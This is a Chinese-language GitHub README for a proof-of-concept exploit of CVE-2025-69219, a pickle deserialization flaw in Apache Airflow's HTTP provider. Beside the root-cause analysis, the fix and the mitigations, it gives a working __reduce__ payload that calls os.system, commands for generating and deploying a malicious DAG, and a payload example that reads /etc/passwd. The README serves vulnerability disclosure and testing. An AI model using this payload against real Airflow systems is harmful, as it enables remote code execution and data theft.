sak110/CVE-2025-69219

GitHub: sak110/CVE-2025-69219

Apache Airflow HTTP Provider pickle 反序列化漏洞(CVE-2025-69219)的概念验证代码,用于验证和测试该 RCE 漏洞的可利用性。

Stars: 0 | Forks: 0

# CVE-2025-69219 — Apache Airflow Providers HTTP 通过不安全的 Pickle 反序列化实现 RCE ## 概述 Apache Airflow 的 HTTP provider 使用 Python 的 `pickle` 模块来序列化和反序列化延迟任务的 HTTP 触发器响应。`HttpOperator.execute_complete()` 中的易受攻击接收点如下所示: ``` # 有漏洞 (补丁前) — providers/http/src/.../operators/http.py response = pickle.loads(base64.standard_b64decode(event["response"])) ``` `event` 字典是从 Airflow **数据库** 中读取的,这意味着任何拥有 DB 写入权限的主体都可以植入恶意的 pickle 负载。当 **Triggerer worker** 处理延迟任务时,它会盲目地反序列化该负载,以 Triggerer 进程的权限执行任意 OS 命令 —— 这等同于 DAG Author 的权限。 ## 根本原因 对不可信数据调用 `pickle.loads()` 是一种本质上不安全的操作。Pickle 的 `__reduce__` 协议允许将任何 Python 可调用对象嵌入到序列化 blob 中,并在反序列化期间调用,且没有任何沙箱保护。 Airflow Triggerer 在完成时序列化 HTTP 响应并将其存储在 DB 中: ``` # triggers/http.py (补丁前) yield TriggerEvent({ "status": "success", "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"), }) ``` DB 级别的攻击者将此值替换为精心构造的 pickle blob,例如: ``` class RCEPayload: def __reduce__(self): return (os.system, ("id",)) payload = base64.b64encode(pickle.dumps(RCEPayload())).decode() ``` Triggerer 随后调用 `execute_complete` → `pickle.loads()` → **RCE**。 ## 修复方案 (6.0.0) 该补丁完全用安全的显式 JSON 序列化器取代了 pickle: ``` # triggers/http.py (补丁后) yield TriggerEvent({ "status": "success", "response": HttpResponseSerializer.serialize(response), # JSON dict }) ``` ``` # HttpResponseSerializer.deserialize() — 验证输入是否为 dict,绝不执行代码 if isinstance(data, str): raise TypeError("Response data must be a dict, got str") ``` 新的反序列化器仅从已知字段(`status_code`、`headers`、`content` 等)重构 `requests.Response` 对象 —— 不可能执行任意代码。 ## PoC ### 要求 ``` # Python 3.9+; 安装有漏洞的版本 pip install "apache-airflow-providers-http>=5.1.0,<6.0.0" ``` ### 模式 1 — 本地模拟(无需 Airflow) 在进程中重现易受攻击的 `pickle.loads()` 调用: ``` python poc.py # 或者使用自定义命令: python poc.py --cmd "whoami" ``` **示例输出:** ``` CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0 Unsafe Pickle Deserialization → RCE via HttpOperator ------------------------------------------------------- [*] Command : id [*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu... [*] Triggering deserialization (simulating execute_complete) ... uid=1000(user) gid=1000(user) groups=1000(user) [+] os.system returned: 0 (0 = success) ``` ### 模式 2 — 完整 DAG 部署(需要运行 providers-http < 6.0.0 的 Airflow 实例) ``` # 生成可部署的 DAG python poc.py --mode dag --cmd "id" # 复制到你的 Airflow DAGs 目录 cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/ # 从 Airflow UI 或 CLI 触发 airflow dags trigger cve_2025_69219_poc ``` 检查任务日志以获取命令输出。 ### 打印原始负载 ``` python poc.py --show-payload --cmd "cat /etc/passwd" ``` ## 影响 | 因素 | 详情 | |---|---| | **谁能利用** | 任何拥有直接 Airflow DB 写入权限的用户 | | **执行上下文** | Triggerer worker 进程(与 DAG Author 权限相同) | | **可能性** | 低 —— 直接 DB 访问在配置良好的部署中是非标准的 | | **影响范围** | Triggerer 节点上的完整主机 RCE:数据窃取、横向移动、持久化 | ## 缓解措施 1. **升级** `apache-airflow-providers-http` 至 **6.0.0** 或更高版本。 2. **限制 DB 访问** —— 只有 Airflow scheduler/webserver 服务账户应拥有对元数据 DB 的写入权限。 3. 在升级之前,确保所有延迟 HTTP 任务(`deferrable=True`)已完成或已清除,因为升级后使用 pickle 序列化的进行中任务将引发 `TypeError`(Provider 变更日志中记录的破坏性变更)。 ``` pip install "apache-airflow-providers-http>=6.0.0" ``` ## 时间线 | 日期 | 事件 | |---|---| | 2026-03-09 | Apache 软件基金会发布 CVE | | 2026-03-09 | 修复合并 (PR #61662, commit 97839f7) | | 2026-03-09 | 在 oss-security 邮件列表上披露 | ## 参考资料 - [NVD 上的 CVE-2025-69219](https://nvd.nist.gov/vuln/detail/CVE-2025-69219) - [GitHub Advisory GHSA-9r5j-7r2x-rv4g](https://github.com/advisories/GHSA-9r5j-7r2x-rv4g) - [补丁 PR #61662](https://github.com/apache/airflow/pull/61662) - [补丁 commit 97839f7](https://github.com/apache/airflow/commit/97839f7b0a8ae66d6079bb7fad5a363068f61617) - [oss-security 披露](http://www.openwall.com/lists/oss-security/2026/03/09/1) ## 免责声明 此概念验证仅用于教育和安全研究目的发布。请仅针对您拥有或获得明确书面授权进行测试的系统进行测试。作者不对任何滥用行为负责。
标签:Apache Airflow, CVE-2025-69219, DAG Author, HTTP Provider, Pickle漏洞, PoC, RCE, SQL注入提权, Triggerer, 不安全的反序列化, 反序列化RCE, 容器逃逸, 工作流安全, 暴力破解, 漏洞分析, 编程工具, 路径探测, 远程代码执行, 逆向工具